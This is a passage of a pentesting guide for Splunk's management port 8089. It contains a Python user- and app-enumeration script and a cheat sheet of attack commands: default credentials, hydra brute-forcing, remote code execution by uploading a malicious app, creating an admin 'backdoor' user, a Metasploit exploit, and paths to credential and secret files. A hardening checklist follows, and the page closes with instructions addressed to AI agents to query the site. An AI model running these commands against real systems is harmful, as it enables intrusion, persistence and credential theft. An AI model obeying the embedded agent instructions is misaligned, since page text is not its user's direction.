Splunk Enumeration Script
"""
import requests
import sys
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

class SplunkEnum:
    def __init__(self, host, port=8089, username=None, password=None):
        self.host = host
        self.port = port
        self.base_url = f"https://{host}:{port}"
        self.auth = (username, password) if username else None
        
    def check_version(self):
        """Get Splunk version"""
        try:
            r = requests.get(f"{self.base_url}/services/server/info",
                           auth=self.auth, verify=False, timeout=5)
            
            if r.status_code == 200:
                print("[+] Server Info Retrieved")
                # Parse XML or JSON response
                if 'version' in r.text:
                    print(f"    Version info found in response")
                return True
            else:
                print(f"[-] Failed to get version: {r.status_code}")
                return False
        except Exception as e:
            print(f"[-] Error: {e}")
            return False
    
    def list_users(self):
        """List all users"""
        try:
            r = requests.get(f"{self.base_url}/services/authentication/users",
                           auth=self.auth, verify=False, timeout=5,
                           params={'output_mode': 'json'})
            
            if r.status_code == 200:
                data = r.json()
                print("\n[*] Users:")
                for entry in data.get('entry', []):
                    name = entry.get('name')
                    roles = entry.get('content', {}).get('roles', [])
                    print(f"    - {name} (Roles: {', '.join(roles)})")
                return True
            else:
                print(f"[-] Failed to list users: {r.status_code}")
                return False
        except Exception as e:
            print(f"[-] Error: {e}")
            return False
    
    def list_apps(self):
        """List installed apps"""
        try:
            r = requests.get(f"{self.base_url}/services/apps/local",
                           auth=self.auth, verify=False, timeout=5,
                           params={'output_mode': 'json'})
            
            if r.status_code == 200:
                data = r.json()
                print("\n[*] Installed Apps:")
                for entry in data.get('entry', []):
                    name = entry.get('name')
                    version = entry.get('content', {}).get('version', 'Unknown')
                    author = entry.get('content', {}).get('author', 'Unknown')
                    print(f"    - {name} v{version} by {author}")
                return True
            else:
                print(f"[-] Failed to list apps: {r.status_code}")
                return False
        except Exception as e:
            print(f"[-] Error: {e}")
            return False
    
    def run(self):
        print(f"[*] Enumerating Splunk at {self.host}:{self.port}")
        print(f"[*] Authentication: {'Enabled' if self.auth else 'Disabled'}")
        
        self.check_version()
        self.list_users()
        self.list_apps()

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <host> [username] [password]")
        sys.exit(1)
    
    host = sys.argv[1]
    username = sys.argv[2] if len(sys.argv) > 2 else None
    password = sys.argv[3] if len(sys.argv) > 3 else None
    
    enum = SplunkEnum(host, username=username, password=password)
    enum.run()
```

## Cheat Sheet

#### Quick Reference

```bash
# VERSION DETECTION
curl -sk https://<target>:8089/services/server/info
nmap -p 8000,8089 -sV <target>

# DEFAULT CREDENTIALS
admin:changeme
admin:admin

# BRUTE FORCE
hydra -l admin -P passwords.txt <target> https-get /services/server/info:8089

# LIST USERS
curl -sk -u admin:password https://<target>:8089/services/authentication/users?output_mode=json

# LIST APPS
curl -sk -u admin:password https://<target>:8089/services/apps/local?output_mode=json

# CREATE SEARCH JOB
curl -sk -u admin:password https://<target>:8089/services/search/jobs -d search='search index=* | head 100'

# RCE - UPLOAD APP
curl -sk -u admin:password https://<target>:8089/services/apps/local -F "appfile=@malicious.tar.gz"

# CREATE USER
curl -sk -u admin:password https://<target>:8089/services/authentication/users -d name=backdoor -d password=Pass123! -d roles=admin

# METASPLOIT
use exploit/multi/http/splunk_upload_app_exec
set RHOSTS <target>
set USERNAME admin
set PASSWORD password
exploit
```

#### Important Files

```bash
# Linux
/opt/splunk/etc/passwd                      # User passwords (hashed)
/opt/splunk/etc/auth/splunk.secret          # Encryption key
/opt/splunk/etc/system/local/server.conf    # Server config
/opt/splunk/etc/system/local/web.conf       # Web config
/opt/splunk/etc/apps/                       # Installed apps
/opt/splunk/var/log/splunk/                 # Logs

# Windows
C:\Program Files\Splunk\etc\passwd
C:\Program Files\Splunk\etc\auth\splunk.secret
C:\Program Files\Splunk\etc\system\local\
C:\Program Files\Splunk\etc\apps\
C:\Program Files\Splunk\var\log\splunk\
```

#### Common Endpoints

```
/services/server/info              # Server information
/services/authentication/users     # User management
/services/apps/local               # App management
/services/search/jobs              # Search jobs
/services/admin/restart            # Restart Splunk
/services/authorization/roles      # Role management
```

### Conclusion

Splunk, while being a powerful security monitoring tool, can ironically become a critical security vulnerability when misconfigured. The combination of extensive data access, code execution capabilities, and privilege levels makes compromised Splunk instances extremely valuable to attackers.

**Key Takeaways:**

1. **Never use default credentials** - Change admin:changeme immediately
2. **Enable strong authentication** - Use MFA and LDAP/AD integration
3. **Restrict network access** - Bind to localhost or use firewall rules
4. **Monitor app installations** - Review and approve all apps
5. **Enable audit logging** - Track all administrative actions
6. **Run with least privilege** - Don't run Splunk as root/SYSTEM
7. **Regular security audits** - Review users, roles, and apps
8. **Keep updated** - Apply security patches promptly
9. **Secure the API** - Require SSL/TLS for all connections
10. **Defense in depth** - Multiple security layers

**Attack Vectors:**

* Default credentials (admin:changeme)
* Weak passwords
* Unauthenticated free version
* Malicious app deployment (RCE)
* Scripted inputs (code execution)
* Local privilege escalation (root/SYSTEM)
* Data exfiltration (sensitive logs)
* Credential harvesting

Remember to only perform these techniques during authorized security assessments. Unauthorized access is illegal and unethical.

### Additional Resources

* [Splunk Security Documentation](https://docs.splunk.com/Documentation/Splunk/latest/Security/)
* [Splunk Hardening Guide](https://docs.splunk.com/Documentation/Splunk/latest/Security/Hardeningstandards)
* [HackTricks Splunkd](https://book.hacktricks.wiki/en/network-services-pentesting/8089-splunkd.html)
* [SplunkWhisperer2](https://github.com/cnotin/SplunkWhisperer2)
* [Splunk REST API Reference](https://docs.splunk.com/Documentation/Splunk/latest/RESTREF/)
* [Splunk App Development](https://dev.splunk.com/)

{% hint style="success" %}
Learn & practice [**For the Bug Bounty**](https://shop.verylazytech.com/)

<details>

<summary>Support VeryLazyTech 🎉</summary>

* Become VeryLazyTech [**member**](https://shop.verylazytech.com/)**! 🎁**
* **Follow** us on:
  * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
  * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
  * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
  * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
  * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
  * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses.  📚

</details>
{% endhint %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.verylazytech.com/splunkd-port-8089.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
